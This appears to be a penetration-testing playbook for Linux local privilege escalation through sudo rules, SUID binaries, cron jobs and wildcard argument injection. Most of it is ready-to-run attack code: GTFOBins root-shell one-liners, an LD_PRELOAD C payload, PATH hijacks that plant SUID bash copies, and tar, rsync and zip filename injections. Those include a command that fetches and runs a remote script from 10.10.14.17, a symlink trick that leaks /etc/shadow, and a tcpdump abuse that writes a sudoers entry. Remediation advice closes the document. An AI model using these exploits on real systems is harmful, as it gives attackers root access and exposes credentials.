Exploiting Sudo, SUID, and Cron Misconfigurations
When to Use
- During authorized local privilege escalation after obtaining an unprivileged shell
- When
sudo -lreveals NOPASSWD entries, SETENV, or preserved environment variables - When SUID/SGID binaries or root-owned writable scripts are present
- When cron/systemd timers run scripts on writable paths or with an unsafe PATH
- When a privileged script processes a wildcard (
*) over an attacker-writable directory
Critical: Techniques Most Often Missed
Testers run sudo -l, see a binary they don't recognize, and stop. The escalation usually hides in environment handling, relative paths, and wildcard argument injection.
- Wildcard / glob argument injection. A privileged
tar/rsync/zip/chown/7z/tcpdump *lets you plant filenames that begin with-and become flags.- How to CONFIRM: in the writable dir create
--checkpoint=1and--checkpoint-action=exec=sh shell.sh(tar); after the root job runs,shell.shexecuted as root (check your/tmp/pwnmarker).
- How to CONFIRM: in the writable dir create
- Preserved env vars in sudo.
env_keep+=LD_PRELOAD,BASH_ENV,PYTHONPATH,LD_LIBRARY_PATHall yield root code execution.- How to CONFIRM:
sudo -llists the kept var; e.g.sudo LD_PRELOAD=/tmp/pe.so <allowed_cmd>spawns a root bash.
- How to CONFIRM:
- SUID/sudo binary calling a command without an absolute path. Hijack via PATH or an exported bash function.
- How to CONFIRM:
strings <suid>shows a bare command name (e.g.service); afterexport PATH=/tmp:$PATHwith a trojan, running it gives root.
- How to CONFIRM:
- Root-owned SUID wrapper that runs a writable script. Append to the script, run the wrapper.
- How to CONFIRM:
ls -lshows the wrapped.shis writable; appendingchmod +s /bin/bashthen running the wrapper leaves a SUID bash.
- How to CONFIRM:
less/vim/awk/findvia sudo (GTFOBins shell-out). A "harmless" file-viewer sudo rule shells out.- How to CONFIRM:
sudo less /var/log/xthen!sh; orsudo vim -c '!sh'returns a root shell.
- How to CONFIRM:
- Cron PATH hijack / writable cron script. A root cron with
PATH=/home/user:...or a writable target.- How to CONFIRM:
pspyshows the root cron calling a relative binary; planting it in the writable PATH dir runs as root on the next tick.
- How to CONFIRM:
Workflow
Step 1: Enumerate sudo, SUID, and cron
sudo -l # allowed commands + env_keep/SETENV
find / -perm -4000 -type f 2>/dev/null # SUID binaries
find / -perm -2000 -type f 2>/dev/null # SGID binaries
crontab -l ; ls -al /etc/cron* /etc/at*
cat /etc/crontab /etc/cron.d/* 2>/dev/null | grep -v '^#'
cat -A /etc/crontab # reveal carriage-return stealth jobs
pspy64 -pf -i 1000 # watch real argv of cron/systemd jobs
Step 2: Abuse sudo Rules (GTFOBins + environment)
# Direct GTFOBins shell-outs from a sudo-allowed binary
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo less /var/log/x -> !sh # or :e /etc/shadow to read files
# LD_PRELOAD (sudo -l shows env_keep+=LD_PRELOAD)
cat > /tmp/pe.c <<'EOF'
#include <stdlib.h>
void _init(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
EOF
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
sudo LD_PRELOAD=/tmp/pe.so <ALLOWED_CMD>
# BASH_ENV (env_keep+=BASH_ENV) — sourced for non-interactive bash
echo '#!/bin/bash' > /dev/shm/x.sh; echo '/bin/bash' >> /dev/shm/x.sh; chmod +x /dev/shm/x.sh
BASH_ENV=/dev/shm/x.sh sudo /usr/bin/some_script
# PYTHONPATH hijack (SETENV: script.sh)
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh # /dev/shm holds a malicious imported module
Step 3: Abuse SUID Binaries
# SUID binary calls a bare command name -> PATH hijack
strings /usr/local/bin/suidbin | grep -E '/|service|cp|ls'
echo -e '#!/bin/bash\nchmod +s /bin/bash' > /tmp/service && chmod +x /tmp/service
export PATH=/tmp:$PATH && /usr/local/bin/suidbin && bash -p
# SUID binary calls an absolute command -> exported bash function
function /usr/sbin/service(){ cp /bin/bash /tmp/b; chmod +s /tmp/b; /tmp/b -p; }
export -f /usr/sbin/service && /usr/local/bin/suidbin
# SUID wrapper running a WRITABLE script
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap && /var/tmp/rootbash -p
Step 4: Abuse Cron Jobs
# Writable cron script -> drop SUID bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /path/to/cron/script.sh
# wait for the next run, then:
/tmp/bash -p
# Cron PATH hijack: /etc/crontab has PATH=/home/user:... and runs "overwrite.sh"
echo -e '#!/bin/bash\ncp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh # wait for cron, then /tmp/bash -p
Step 5: Wildcard (Glob) Argument Injection
# tar — checkpoint action (GNU tar). Root later runs: tar -czf backup.tgz *
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh; chmod +x shell.sh
touch ./--checkpoint=1
touch ./'--checkpoint-action=exec=sh shell.sh'
# rsync — override remote shell. Root later runs: rsync -az * backup:/srv/
touch ./'-e sh shell.sh'
# chown/chmod — copy ownership/perms of a secret via --reference
touch -- '--reference=/root/secret'
# 7z — @listfile leaks file contents even past "-- *"
ln -s /etc/shadow root.txt ; touch @root.txt # 7za prints shadow to stderr
# zip — -T/-TT test hook RCE (split flags across filenames)
touch -- '-T' ; touch -- '-TT wget 10.10.14.17 -O s.sh; bash s.sh'
# tcpdump sudoers anti-pattern: extra -w/-Z/-z/-r/-V flags survive a constrained rule
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root -w /etc/sudoers.d/x \
-r evil.pcap -F /var/cache/captures/filter.<guid> # writes a root-owned sudoers line
# or post-rotate command execution:
sudo tcpdump -i any -G 1 -W 1 -z /tmp/rce.sh -w /tmp/x.pcap
Key Concepts
| Concept | Description |
|---|---|
| sudo -l | Lists commands a user may run via sudo and any preserved env / SETENV options |
| GTFOBins shell-out | Documented escape function of a sudo/SUID binary (vim, less, awk, find, tar...) |
| env_keep / SETENV | sudo options that preserve env vars (LD_PRELOAD, BASH_ENV, PYTHONPATH, PATH) -> RCE |
| SUID/SGID | Set-user/group-ID bit; the binary runs as its owner/group regardless of caller |
| PATH hijack | Shadowing a relative command run by a privileged process via a writable PATH dir |
| Wildcard injection | Shell expands * to filenames starting with -, smuggling flags into the binary |
| Cron PATH | A root cron with an attacker-writable directory early in its PATH |
Tools & Systems
| Tool | Purpose |
|---|---|
| sudo -l | Primary sudo policy enumeration |
| GTFOBins | Lookup of sudo/SUID/capability escape one-liners per binary |
| linpeas / LinEnum | Automated discovery of SUID, sudo, cron, and writable-path issues |
| pspy | Watches cron/systemd process argv without root (catches wildcard/PATH abuse live) |
| wildpwn | PoC tool for tar/rsync/chown wildcard argument injection |
| gcc | Compile LD_PRELOAD .so payloads |
Common Scenarios
Scenario 1: NOPASSWD vim
sudo -l shows (root) NOPASSWD: /usr/bin/vim. sudo vim -c '!sh' returns a root shell immediately.
Scenario 2: env_keep LD_PRELOAD
A sudo rule keeps LD_PRELOAD. Compiling pe.so and running sudo LD_PRELOAD=/tmp/pe.so <allowed cmd> executes the library constructor as root.
Scenario 3: Backup cron with tar wildcard
A root cron runs tar -czf /backup.tgz * in /var/www/uploads. Planting --checkpoint-action files there yields root code execution on the next run.
Scenario 4: tcpdump sudoers anti-pattern
A NOPASSWD tcpdump rule constrains only the first -w. Adding -Z root -w /etc/sudoers.d/x -r evil.pcap writes a malicious sudoers entry as root.
Output Format
## Privilege Escalation Finding
**Vulnerability**: Local Privilege Escalation via <sudo rule | SUID | cron | wildcard>
**Severity**: High / Critical
**Vector**: sudo env_keep+=LD_PRELOAD on /usr/bin/backup
### Discovery
$ sudo -l
(root) NOPASSWD: /usr/bin/backup
Defaults env_keep += LD_PRELOAD
### Exploitation
$ gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
$ sudo LD_PRELOAD=/tmp/pe.so /usr/bin/backup
# id
uid=0(root) gid=0(root)
### Impact
Any user matching the sudo rule obtains a full root shell.
### Recommendation
1. Set `Defaults env_reset`; remove LD_PRELOAD/BASH_ENV/PYTHONPATH from env_keep
2. Grant sudo to minimal absolute-path binaries; avoid shell-capable tools (vim, less, tar)
3. Quote wildcards and use `--` / explicit file lists in privileged scripts; never glob writable dirs
4. Make cron/SUID-wrapped scripts root-owned and non-writable; pin PATH with absolute paths
5. Audit SUID inventory (`find / -perm -4000`) and remove unnecessary bits